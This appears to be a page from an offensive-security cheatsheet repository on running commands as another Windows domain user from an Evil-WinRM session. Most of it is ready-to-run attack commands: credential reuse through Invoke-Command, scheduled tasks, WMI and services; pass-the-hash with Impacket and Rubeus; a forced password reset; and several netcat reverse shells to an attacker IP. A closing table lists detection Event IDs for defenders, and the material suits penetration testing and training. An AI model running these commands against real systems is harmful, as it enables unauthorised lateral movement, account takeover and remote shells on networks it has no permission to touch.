daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

run-as-another-user-from-evil-winrm.md (12803B)


      1 ---
      2 title: "Run as Another User from an Evil-WinRM Session"
      3 description: "You're local admin over WinRM but need to act as a different domain user โ€” spawn processes, tasks, or loopback PowerShell sessions with alternate credentials."
      4 category: active-directory
      5 subcategory: "Lateral Movement"
      6 tags: ["active-directory", "lateral-movement", "evil-winrm", "runas", "runascs", "kerberos", "pass-the-hash"]
      7 tools: ["Evil-WinRM", "PowerShell", "RunasCs", "Rubeus", "Impacket", "sc.exe"]
      8 difficulty: intermediate
      9 updated: "2026-09-25"
     10 ---
     11 # ๐Ÿ‘ค Run as Another User from an Evil-WinRM Session
     12 
     13 ***
     14 
     15 ## ๐Ÿ“– How It Works
     16 
     17 An evil-winrm session runs entirely in the context of the user you connected as โ€” and WinRM gives you **no interactive desktop**, so `runas /netonly` and anything that pops a credential prompt **will not work**. Being local admin does not magically let you "switch user": you must **spawn a new process, service, scheduled task, or loopback PowerShell session using the target user's credentials**.
     18 
     19 The catch: you need the target user's **password** (or hash/Kerberos ticket) โ€” admin rights alone don't grant their token unless they have an active session on the box (see token theft at the bottom).
     20 
     21 Typical scenario: you're `Administrator` on the box, but the next step (Kerberos attack, share access, web service auth) only works as `DOMAIN\lowpriv`.
     22 
     23 ***
     24 
     25 ## โš™๏ธ Prerequisites
     26 
     27 | Requirement | Detail |
     28 |---|---|
     29 | **Evil-WinRM session** | Connected as local admin (or any user) |
     30 | **Target user's cleartext password** | For `PSCredential` / scheduled task methods |
     31 | **WinRM listening on localhost** | Only for the `Invoke-Command` loopback method (usually true โ€” you're connected via it) |
     32 
     33 ***
     34 
     35 ## ๐Ÿ’ป Full Commands
     36 
     37 ### ๐Ÿ”ด Method 1 โ€” Invoke-Command loopback (cleanest, output comes back)
     38 
     39 ```powershell
     40 # โ”€โ”€ Build a credential object โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
     41 $pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
     42 $cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)
     43 
     44 # โ”€โ”€ Run a command as that user against localhost โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
     45 Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
     46   whoami
     47   klist        # shows THEIR Kerberos tickets, not yours
     48 }
     49 ```
     50 
     51 ### ๐Ÿ”ด Method 2 โ€” Start-Process (no console in WinRM โ†’ redirect output to a file)
     52 
     53 ```powershell
     54 $pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
     55 $cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)
     56 
     57 Start-Process -FilePath "cmd.exe" `
     58   -ArgumentList "/c whoami > C:\Temp\out.txt 2>&1" `
     59   -Credential $cred
     60 
     61 Start-Sleep 2; type C:\Temp\out.txt
     62 ```
     63 
     64 ### ๐Ÿ”ด Method 3 โ€” Scheduled task as the target user
     65 
     66 ```powershell
     67 # โ”€โ”€ cmd one-liner โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
     68 schtasks /create /tn "UpdateCheck" /ru "CORP\lowpriv" /rp "P@ssword123!" `
     69   /sc once /st 23:59 /tr "cmd /c whoami > C:\Temp\out.txt"
     70 schtasks /run /tn "UpdateCheck"
     71 # then: type C:\Temp\out.txt  &&  schtasks /delete /tn "UpdateCheck" /f
     72 
     73 # โ”€โ”€ PowerShell equivalent โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
     74 $action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami > C:\Temp\out.txt"
     75 Register-ScheduledTask -TaskName "UpdateCheck" -Action $action `
     76   -User "CORP\lowpriv" -Password 'P@ssword123!'
     77 Start-ScheduledTask -TaskName "UpdateCheck"
     78 ```
     79 
     80 ### ๐Ÿ”ด Method 4 โ€” Reverse shell as the target user
     81 
     82 ```powershell
     83 # Listener on your box first:  nc -lvnp 443
     84 $pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
     85 $cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)
     86 
     87 Start-Process -FilePath "C:\Temp\nc.exe" `
     88   -ArgumentList "10.10.14.5 443 -e cmd.exe" `
     89   -Credential $cred -WindowStyle Hidden
     90 # The shell that lands runs as CORP\lowpriv
     91 ```
     92 
     93 ### ๐Ÿ”ด Method 5 โ€” RunasCs.exe (captures output, no console needed)
     94 
     95 `RunasCs` is a standalone binary built for exactly this problem: unlike native `runas`, it needs no interactive desktop and it **hands the child process's stdout back to you**, so it fits a WinRM session cleanly. Upload the exe, then run a command as the target user.
     96 
     97 ```powershell
     98 # Output comes straight back โ€” no file redirect
     99 .\RunasCs.exe lowpriv 'P@ssword123!' "whoami /all" --domain CORP
    100 
    101 # Reverse shell as that user (logon type 8 = NetworkCleartext keeps the creds usable on the network)
    102 .\RunasCs.exe lowpriv 'P@ssword123!' -d CORP "C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" --logon-type 8
    103 ```
    104 
    105 | Flag | Purpose |
    106 |---|---|
    107 | `-d, --domain` | Target user's domain (omit for a local account) |
    108 | `-l, --logon-type` | 2 interactive ยท 3 network ยท 8 network-cleartext ยท 9 NewCredentials (`runas /netonly` equivalent) |
    109 | `--bypass-uac` | Return a high-integrity token when the target user is a local admin |
    110 | `-r, --remote-impersonation` | Reuse an existing logon session's token instead of a new logon |
    111 
    112 ### ๐Ÿ”ด Method 6 โ€” WMI / service run as the target
    113 
    114 ```powershell
    115 $pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
    116 $cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)
    117 
    118 # WMI: the CIM session authenticates AS lowpriv, so the created process runs in that context
    119 Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
    120   -Arguments @{ CommandLine = 'cmd /c whoami > C:\Temp\out.txt' } `
    121   -CimSession (New-CimSession -ComputerName localhost -Credential $cred)
    122 Start-Sleep 2; type C:\Temp\out.txt
    123 ```
    124 
    125 ```cmd
    126 :: A service's binPath runs under the account you set (needs local admin / SeCreateService).
    127 :: obj= is the run-as account, password= its password.
    128 sc.exe create svcx binPath= "cmd /c C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" obj= "CORP\lowpriv" password= "P@ssword123!" start= demand
    129 sc.exe start svcx
    130 :: cleanup after the shell lands:  sc.exe delete svcx
    131 ```
    132 
    133 ### ๐Ÿ”ด Only have a hash or ticket? Skip the session entirely
    134 
    135 ```bash
    136 # From Linux โ€” no need to be "that user" on the box at all:
    137 evil-winrm -i 10.10.10.10 -u lowpriv -H 2b576acbe6bcfda7294d6bd18041b8fe   # if they can WinRM
    138 impacket-wmiexec 'CORP/lowpriv@10.10.10.10' -hashes :2b576acbe6bcfda7294d6bd18041b8fe
    139 klist   # or request a TGT with impacket-getTGT and go the Kerberos route
    140 ```
    141 
    142 ```powershell
    143 # On the box with Rubeus โ€” turn a hash or password into THEIR Kerberos ticket in your session.
    144 # /ptt injects the TGT into the current logon; /createnetonly spawns a sacrificial process to hold it.
    145 Rubeus.exe asktgt /user:lowpriv /rc4:2b576acbe6bcfda7294d6bd18041b8fe /domain:corp.local /ptt
    146 Rubeus.exe asktgt /user:lowpriv /password:'P@ssword123!' /domain:corp.local /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
    147 klist    # confirm lowpriv's TGT is now cached โ€” Kerberos-authenticated access follows as that user
    148 ```
    149 
    150 ### ๐Ÿ”ด Worked example โ€” ForceChangePassword abuse as another user
    151 
    152 Scenario: your session user is admin on the box, but `CORP\lowpriv` (whose password you know) is the one holding **ForceChangePassword** over `ssmalls`. Reset `ssmalls`' password in `lowpriv`'s context:
    153 
    154 ```powershell
    155 $pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
    156 $cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)
    157 
    158 # โ”€โ”€ Simplest: net user, no PowerView needed โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    159 Start-Process cmd.exe -Credential $cred `
    160   -ArgumentList '/c net user ssmalls Str0ngpass86! /domain > C:\Temp\out.txt 2>&1'
    161 Start-Sleep 2; type C:\Temp\out.txt
    162 
    163 # โ”€โ”€ PowerView via -EncodedCommand (avoids nested-quote hell) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    164 # *> redirects ALL streams (incl. Verbose) โ€” plain > would swallow the confirmation
    165 $cmd = "Import-Module C:\Temp\PowerView.ps1; Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose *> C:\Temp\out.txt"
    166 $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
    167 Start-Process powershell.exe -Credential $cred -ArgumentList "-NoProfile -EncodedCommand $enc"
    168 Start-Sleep 3; type C:\Temp\out.txt
    169 
    170 # โ”€โ”€ Cleanest for PowerShell functions: Invoke-Command loopback โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    171 Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
    172   Import-Module C:\Temp\PowerView.ps1
    173   Set-DomainUserPassword -Identity ssmalls `
    174     -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
    175 }
    176 ```
    177 
    178 > ๐Ÿ’ก The reset hits the DC over the network, so any process carrying `lowpriv`'s credentials can do it โ€” no interactive logon required. If your **current** session user already has the right, skip the wrapping and run `Set-DomainUserPassword` directly.
    179 
    180 ***
    181 
    182 ## โš ๏ธ Gotchas
    183 
    184 - **`runas` doesn't work over WinRM** โ€” `/netonly` spawns a process whose new token is only applied on next network use, and interactive `runas` prompts for a password on a console you don't have. Use the methods above instead.
    185 - **No console = no output** โ€” any process spawned with alternate creds has no visible window. Always redirect stdout/stderr to a file and read it back.
    186 - **Double-hop problem** โ€” inside an `Invoke-Command` loopback, the *inner* session can't delegate credentials to a third machine (CredSSP unless enabled). Access network resources from the *outer* session with `-Credential`, or use the hash from Linux.
    187 - **Token theft alternative** โ€” if the target user has an **active logon session** on the box, steal their token instead of needing their password: `incognito` via Meterpreter, or `mimikatz "token::elevate" "token::list"` then run in that context.
    188 
    189 ***
    190 
    191 ## ๐Ÿ›ก๏ธ Detection โ€” Event IDs
    192 
    193 | Event ID | Source | What to Look For |
    194 |---|---|---|
    195 | **4624** | Security Log | Logon Type 2/3/8/9 by a user who "never logs in" to that host (8/9 flag RunasCs netonly/cleartext) |
    196 | **4688** | Security Log | `cmd.exe`/`powershell.exe` spawned with alternate credentials; unusual parent (`services.exe`, `WmiPrvSE.exe`) |
    197 | **4648** | Security Log | Explicit credential logon (runas-style) โ€” the strongest single signal for every method here |
    198 | **4698/4702** | Security Log | Scheduled task created/updated running as another user |
    199 | **4697 / 7045** | Security / System Log | Service installed with a per-account `binPath` (Method 6 `sc.exe create โ€ฆ obj=`) |
    200 | **4672** | Security Log | Special privileges assigned โ€” fires when the run-as token is a local admin |
    201 
    202 ## ๐Ÿงฐ Troubleshooting
    203 
    204 | Problem | Cause & fix |
    205 |---------|-------------|
    206 | `Enter-PSSession` with new creds fails: "Access is denied" | Non-admin users need explicit PSRemoting rights. The target account must be in **Remote Management Users** or have a matching `Set-PSSessionConfiguration` ACE |
    207 | `The user name or password is incorrect` on a valid password | Wrong logon format. Use `DOMAIN\user` or `user@domain.fqdn`; a bare username resolves against the local SAM, not the domain |
    208 | `runas` prompts interactively โ€” no good over WinRM | WinRM has no interactive desktop. Use `Start-Process -Credential`, a new `PSSession`, or `Invoke-Command -Credential` instead of `runas` |
    209 | `Invoke-Command -Credential` gives a double-hop / access-denied to a *third* box | Classic Kerberos double-hop โ€” your delegated creds do not forward. Use CredSSP, a fresh session from the target, or `-Authentication Negotiate` with explicit creds |
    210 | Second-hop network resource (share/SQL) denies the run-as token | The token is network-logon only. Establish a full logon (`Start-Process`/scheduled task) so the secondary logon carries usable network credentials |
    211 | Password has shell-breaking characters | Build the credential object in code โ€” `ConvertTo-SecureString`/`PSCredential` โ€” rather than pasting the password on the command line |
    212 
    213 ## ๐Ÿ”— See Also
    214 
    215 - **[Windows Credential & Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** โ€” where the password you are re-using usually comes from.
    216 - **[NetExec](/sheets/active-directory/netexec)** โ€” run the same authenticated actions remotely without an interactive session.
    217 - **[Impacket](/sheets/active-directory/impacket)** โ€” `psexec.py` / `wmiexec.py` / `smbexec.py` as the cross-platform equivalents of a run-as session.
    218 
    219 ***
    220 
    221 > โœ… **Run-as-another-user complete.**